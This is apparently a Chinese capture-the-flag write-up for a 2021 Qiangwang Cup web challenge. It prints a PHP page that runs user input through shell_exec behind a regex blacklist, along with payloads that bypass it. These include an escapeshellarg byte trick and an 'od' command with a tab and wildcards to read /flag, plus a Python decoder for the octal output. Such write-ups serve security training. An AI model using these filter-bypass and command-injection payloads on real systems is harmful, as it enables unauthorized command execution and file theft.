[广东强网杯 2021 团队组]love_Pokemon
考点:
- 函数escapeshellarg/escapeshellcmd绕过正则匹配
- 文件查看指令+通配符绕过正则匹配
点击查看代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';if(!file_exists($dir)){mkdir($dir);
}function DefenderBonus($Pokemon){if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){die('catch broken Pokemon! mew-_-two');}else{return $Pokemon;}}function ghostpokemon($Pokemon){if(is_array($Pokemon)){foreach ($Pokemon as $key => $pks) {$Pokemon[$key] = DefenderBonus($pks);}}else{$Pokemon = DefenderBonus($Pokemon);}
}switch($_POST['myfavorite'] ?? ""){case 'picacu!':echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);break;case 'bulbasaur!':echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);$level = $_POST["levelup"] ?? "";if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){echo file_get_contents('./hint.php');}break;case 'squirtle':echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);break;case 'mewtwo':$dream = $_POST["dream"] ?? "";if(strlen($dream)>=20){die("So Big Pokenmon!");}ghostpokemon($dream);echo shell_exec($dream);
}?>
题解步骤
1、审计代码-根据提示查看./hint.php
payload - myfavorite=bulbasaur!&levelup=lv%81100
提交payload可以看到hint.php文件中给的提示:flag在/flag中
绕过原理
参考文章:https://blog.csdn.net/m0_75178803/article/details/134987976
函数escapeshellarg 用于将字符串转义为shell命令可执行的形式。windows-1252字符集中的不可见字符可以被这个函数消除,从而绕过preg_match
2、绕过waf函数,利用shell_exec获取flag
payload - myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G
获取到flag的8进制内容
原理
1、od在linux中的作用为:输出文件内容,将其内容以八进制字码呈现出来
2、%09为url编码中的空格
3、为了绕过preg_match使用统配[B-Z][@-Z]代替字符LA
3、使用python脚本跑出flag
点击查看代码
dump = "0000000 051516 041523 043124 062173 062545 034463 063144 026467 0000020 034460 032060 032055 061070 026471 030470 030544 033455 0000040 030141 034066 034470 062067 032145 076467 000012 0000055"
octs = [("0o" + n) for n in dump.split(" ") if n] #使用 dump.split(" ") 将这个字符串按空格分割成一个列表,其中可能包含空字符串
hexs = [int(n, 8) for n in octs] #将八进制字符串转换为十进制整数
result = ""
for n in hexs:if (len(hex(n)) > 4): swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF) #首先,将整数 n 左移8位(n << 8),然后将其与自身右移8位(n >> 8)的结果进行按位或操作(|),最后将结果与 0xFFFF 进行按位与操作(&),以确保结果是一个16位的数。这样做实际上是将整数的高8位和低8位进行了交换。result += swapped[2:].zfill(4) #使用 hex() 函数将交换后的整数转换为十六进制字符串,并去掉前缀 "0x",然后通过切片和 zfill() 方法确保字符串长度为4(即一个字节的十六进制表示)。
print(bytes.fromhex(result).decode()) #bytes.fromhex(result) 将包含十六进制数字的字符串 result 转换为字节串。
得出flag